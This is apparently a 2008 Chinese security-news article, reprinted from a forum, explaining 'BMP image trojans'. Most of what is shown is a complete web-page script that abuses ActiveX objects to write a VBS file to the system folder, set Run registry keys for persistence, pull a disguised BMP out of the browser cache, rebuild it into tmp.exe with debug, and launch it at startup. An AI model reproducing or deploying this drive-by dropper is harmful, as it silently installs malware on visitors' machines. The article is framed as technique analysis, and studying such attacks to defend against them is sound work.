科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网网络频道木马传播新方式 图片木马技术解析(1)

木马传播新方式 图片木马技术解析(1)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

何谓BMP网页木马?它和过去早就用臭了的MIME头漏洞的木马不同,MIME木马是把一个EXE文件用MIME编码为一个EML(OUT LOOK信件)文件,放到网页上利用IE和OE的编码漏洞实现自动下载和执行。

作者:论坛整理 来源:zdnet网络安全 2008年3月4日

关键字: 病毒 防病毒 病毒防范 反病毒 木马 杀毒软件

  • 评论
  • 分享微博
  • 分享邮件

在本页阅读全文(共2页)

接着就是把这个BMP图片放到网页上了,如果大家打开过这张图片的话,一定发现这张BMP又花,颜色又单调.所以大家放在网页上最好用这样的格式

以下是放在网页上的脚本

document.write(' ');

function docsave()

{

a=document.applets[0];

a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');

a.createInstance();

wsh=a.GetObject();

a.setCLSID('{0D43FE01-F093-11CF-8940-00A0C9054228}');

a.createInstance();

fso=a.GetObject();

var winsys=fso.GetSpecialFolder(1);

var vbs=winsys+'\\s.vbs';

wsh.RegWrite

('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion

\\Run\\vbs','wscript '+'"'+vbs+'" ');

var st=fso.CreateTextFile(vbs,true);

st.WriteLine('Option Explicit');

st.WriteLine('Dim FSO,WSH,CACHE,str');

st.WriteLine('Set FSO = CreateObject("Scripting.FileSystemObject")');

st.WriteLine('Set WSH = CreateObject("WScript.Shell")');

st.WriteLine('CACHE=wsh.RegRead("HKCU\\Software\\Microsoft

\\Windows\\CurrentVersion\\Explorer\\ShellFolders\\Cache")');

st.WriteLine('wsh.RegDelete("HKCU\\Software\\Microsoft\\Windows

\\CurrentVersion\\Run\\vbs")');

st.WriteLine ('wsh.RegWrite "HKCU\\Software\\Microsoft\\Windows

\\CurrentVersion\\Run\\tmp","tmp.exe"');

st.WriteLine('SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"');

st.WriteLine('WScript.Quit()');

st.WriteLine('Function SearchBMPFile(Folder,fname)');

st.WriteLine(' Dim SubFolder,File,Lt,tmp,winsys');

st.WriteLine(' str=FSO.GetParentFolderName(folder) &

"\\" &folder.name &"\\" &fname');

st.WriteLine(' if FSO.FileExists(str) then');

st.WriteLine(' tmp=fso.GetSpecialFolder(2) &"\\"');

st.WriteLine(' winsys=fso.GetSpecialFolder(1) &"\\"');

st.WriteLine(' set File=FSO.GetFile(str)');

st.WriteLine(' File.Copy(tmp &"tmp.dat")');

st.WriteLine(' File.Delete');

st.WriteLine(' set Lt=FSO.CreateTextFile(tmp &"tmp.in")');

st.WriteLine(' Lt.WriteLine("rbx")');

st.WriteLine(' Lt.WriteLine("0")');

st.WriteLine(' Lt.WriteLine("rcx")');

st.WriteLine(' Lt.WriteLine("1000")');

st.WriteLine(' Lt.WriteLine("w136")');

st.WriteLine(' Lt.WriteLine("q")');

st.WriteLine(' Lt.Close');

st.WriteLine(' WSH.Run "command /c debug " &tmp &"tmp.dat

<" &tmp &"tmp.in >" &tmp &"tmp.out",false,6');

st.WriteLine(' On Error Resume Next ');

st.WriteLine(' FSO.GetFile(tmp &"tmp.dat").Copy(winsys &"tmp.exe")');

st.WriteLine(' FSO.GetFile(tmp &"tmp.dat").Delete');

st.WriteLine(' FSO.GetFile(tmp &"tmp.in").Delete');

st.WriteLine(' FSO.GetFile(tmp &"tmp.out").Delete');

st.WriteLine(' end if');

st.WriteLine(' If Folder.SubFolders.Count <>0 Then');

st.WriteLine(' For Each SubFolder In Folder.SubFolders');

st.WriteLine(' SearchBMPFile SubFolder,fname');

st.WriteLine(' Next');

st.WriteLine(' End If');

st.WriteLine('End Function');

st.Close();

}

setTimeout('docsave()',1000);

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章